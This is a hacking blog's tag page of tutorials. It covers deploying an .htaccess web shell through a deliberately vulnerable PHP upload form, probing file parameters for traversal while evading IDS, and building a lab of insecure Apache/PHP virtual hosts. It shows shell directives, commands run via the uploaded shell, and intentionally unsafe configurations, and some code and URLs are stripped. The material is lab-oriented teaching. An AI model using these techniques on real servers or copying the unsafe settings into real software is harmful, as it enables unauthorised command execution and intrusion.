Results tagged “tutorial” from Just Another Hacker

htshells tutorial

Here is a quick tutorial on how to use the .htaccess shell attack. I did this on a backtrack 5 vm, the upload example is loosely based on ( The first thing we do is create our vulnerable "application", like this:

root@bt:/var/www# mkdir htshells
root@bt:/var/www# cd htshells/
root@bt:/var/www/htshells# chmod 777 .
root@bt:/var/www/htshells# cat > index.html

<form action="upload_file.php" method="post"
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />

root@bt:/var/www/htshells# cat > upload_file.php
if ($_FILES['file']['error'] > 0)
  echo "Error: ".$_FILES['file']['error']."<br />";
  echo "Upload: ".$_FILES['file']['name']."<br />";
  echo "Type: ".$_FILES['file']['type']."<br />";
  echo "Size: " . ($_FILES['file']['size'] / 1024) . " Kb<br />";
  echo "Stored in: ".$_FILES['file']['tmp_name']."<br />";
  if (file_exists($_FILES['file']['name']))
      echo $_FILES['file']['name']." already exists.";
      echo "Moved to: ".$_FILES['file']['name'];
Next we have to change the apache configuration, as backtrack comes with secure defaults.
root@bt:/var/www# vim /etc/apache2/sites-enabled/000-default 
Change the AllowOverride argument to all under the /var/www directory configuration
        <Directory /var/www/>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride All
                Order allow,deny
                allow from all
Then start apache
root@bt:/var/www/htshells# apache2ctl start
Next we grab and prepare our payload:
root@bt:/var/www/htshells# cd /root
root@bt:~# wget
--2011-06-01 20:16:16--
Connecting to||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 536 [text/plain]
Saving to: `htaccess.php'

100%[========================================================================================>] 536         --.-K/s   in 0s      

2011-06-01 20:16:18 (53.1 MB/s) - `htaccess.php' saved [536/536]

root@bt:~# mv htaccess.php .htaccess

Next we visit our demo application in the browser

Select the file to upload (you might have to right click and select show hidden files)

Submit the file for upload
upload success.png

Now visit the .htaccess file and start running some commands:
root@bt:/var/www/htshells# GET http://localhost/htshells/.htaccess?c=id
# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul -

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^\.ht">
    Order allow,deny
    Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted 
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

###### SHELL ###### 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
###### LLEHS ######
Most of us think game over when we see a url that cointains a file reference, like http://localhost/basename.php?file=hello.php. Lets say that you were doing a penetration test where you are trying not to trigger any IDS alerts. How can you determine if the script filters the page variable using basename? Here are some simple steps that should go undetected.

Lets say that the scripts in this fictional url are as follows:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "">
<html xmlns="">
        <title>Basename poc file</title>
if (file_exists(basename($_GET['file']))) {
} else {
        echo "404 - File not found";
<?php echo "Hello World\n"; ?>
The first test we take is to determine what a negative response would be, we'll visit http://localhost/basename.php?file=hello.wisconsin, this nets us a custom 404 error. Now that we have a false contition the next test is simply http://localhost/basename.php?file=a/b/c/hello.php. If this gives us the same output as http://localhost/basename.php?file=hello.php the script is using basename (or a similar technique) to extrace the filename. If you get a negative response the script appears to be vulnerable to directory traversal/LFI/RFI. Better encode your next attack to avoid triggering the IDS.

Happy hacking!
(And yes, this is the February tutorial running late).

securing and accessing your lab

Now that construction of your lairs have completed you might want to visit and inspect the marvels you have created. If you paid attention in part 1 you might have noticed that we used the fictional .lair top level domain. As this is not a valid domain you will have to set your own dns. You can run your own dns server (in which case you shouldn't need thisw guide), or we can override it using the hosts file. On unix like systems (linux, mac os) you will find this file located at /etc/hosts and on windows it is c:\windows\system32\drivers\etc\hosts (You'lll need administrative/ or root privileges to change this file). I added my labs like this: localhost.localdomain localhost
# Auto-generated hostname. Please do not remove this comment. moon.lair vulcano.lair is off course the IP of my server. After changing this file you can browse to http://moon.lair and http://vulcano.lair in your browser. Once you have established access you should check that your lab embodies the characteristics you gave it, the quickest and easiest way to do this is with phpinfo. As root on your server, create a phpinfo file in the appsec lab webroot.
root@localhost$ echo "" > /var/www/appseclab/webroot/secrit.php
Now you can verify you php_flag settings by visiting the phpinfo url. Although it is the same file, the php_ directives in each virtual host allows you to change the php behaviour of each virtual host, but you knew that already. So now that you have verified that you can access the lairs and they have the special features you requested there is but one small problem, they are accessible by anyone. Sure, you've hidden them away using tricky domains and hopefully, no-one bothers to look. You could set some henchmen to monitor the apache logs and launch an all out assoult on any unfamiliar IP accessing the lair, but since hencmen are unreliable I recommend a more consistent approach. Passwords! We'll start by creating the password file using the htpasswd utility.
root@localhost$ htpasswd -m -c /var/www/appseclab/etc/.htpasswd drevil
New password:
Re-type new password:
Adding password for user drevil
root@locahost$ cat /var/www/appseclab/etc/.htpasswd
Next we add authentication to our common config.
AuthType Basic
AuthName "Beware of sharks with lazors on their headz!"
AuthUserFile /var/www/appseclab/etc/.htpasswd
Require user drevil
Now restart apache to activate your cunning password protection scheme! What could ever go wrong!?!?!?

Like all supervillan plots, there is a gaping flaw which will allow the hero to seize the day and ensure your defeat.Your lab is still exposed to the internet and the only protection offered is a password which is transmitted in cleartext over the wires. You could always enable SSL on the virtual hosts, but that only solves half the problem and could affect the behaviour of some web apps when testing them in your lab.
A better option would be to bind the virtual host to a private or internal interface and connect to it using VPN or SSH port forwarding. This will encrypt the traffic and keep your lab away from the internet.
So you want to hack the planet? Whether you want to validate the latest exploit, or do your due diligence in vulnerability research you will need a test lab. Installing, configuring and maintaining a test lab can be a serious time sink. I always aim to make repeatable tasks as simple as possible and web application security is no exception. So in the hope of making someone else's life better I have decided to share my aprroach to lab design.

Getting started

You will need the following items
  • Server/VPS/VM image running a suitable OS (LINUX IMO!)
  • Apache
  • php
  • root access
Once you have your "server" ready we'll start the lab configuration process. I use debian-likes, so if you use something else you will have to adhust the paths as needed yourself. The first thing to setup is the directory structure. Run the following commands, as root:
mkdir -p /var/www/appseclab/public_html
mkdir /var/www/appseclab/etc
mkdir /var/www/appseclab/tmp
mkdir /var/log/apache2/appseclab
chown www-data /var/www/appseclab/tmp

The next step is to create a common apache config file, I called mine /var/www/appseclab/etc/common.conf
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/appseclab/webroot
        ServerSignature Off
                Options ExecCGI FollowSymLinks
                AllowOverride None
                Order allow,deny
                allow from all

                AddHandler cgi-script .cgi

        CustomLog /var/log/apache2/appseclab/access.log combined
        ErrorLog /var/log/apache2/appseclab/error.log
        Include /var/www/
        LogLevel notice

In the /var/www/appseclab/etc directory I created two files, moon.lair and vulcano.lair with the following content:
<VirtualHost *>
        ServerName moon.lair
        Include /var/www/appseclab/etc/common.conf
        php_admin_flag register_globals on
        php_admin_flag allow_url_fopen on
        php_admin_flag allow_url_include on
        php_flag magic_quotes_gpc off
<VirtualHost *>
        ServerName vulcano.lair
        Include /var/www/appseclab/etc/common.conf
        php_admin_flag register_globals off
        php_admin_flag allow_url_fopen off
        php_admin_flag allow_url_include off
        php_flag magic_quotes_gpc on

Next we create a test file and add the lair configs to the apache configuration
echo 'Welcome to the lair!' > /var/www/appseclab/webroot/index.html
ln -s /var/www/appseclab/etc/moon.lair /etc/apache2/sites-available
ln -s /var/www/appseclab/etc/vulcano.lair /etc/apache2/sites-available
Then we enable the hosts, and restart apache
a2ensite moon.lair
a2ensite vulcano.lair
apache2ctl graceful
And then we test that it works by speaking a little HTTP
 telnet localhost 81
Connected to localhost.localdomain.
Escape character is '^]'.
GET / HTTP/1.1
Host: moon.lair

HTTP/1.1 200 OK
Date: Wed, 29 Sep 2010 07:25:26 GMT
Server: Apache
Last-Modified: Wed, 29 Sep 2010 07:19:58 GMT
ETag: "282849d-14-49160c9f4e380"
Accept-Ranges: bytes
Content-Length: 20
Vary: Accept-Encoding
Content-Type: text/html

Welcome to the lair
telnet> quit
Connection closed.
If you get connection refused at this point, there is likely an issue with your apache configuration. Check your apache error.log for details to help you fix this.

Next we move on to securing and accessing your lab.
No Clean Feed - Stop Internet Censorship in Australia
Creative Commons License
This weblog is licensed under a Creative Commons License.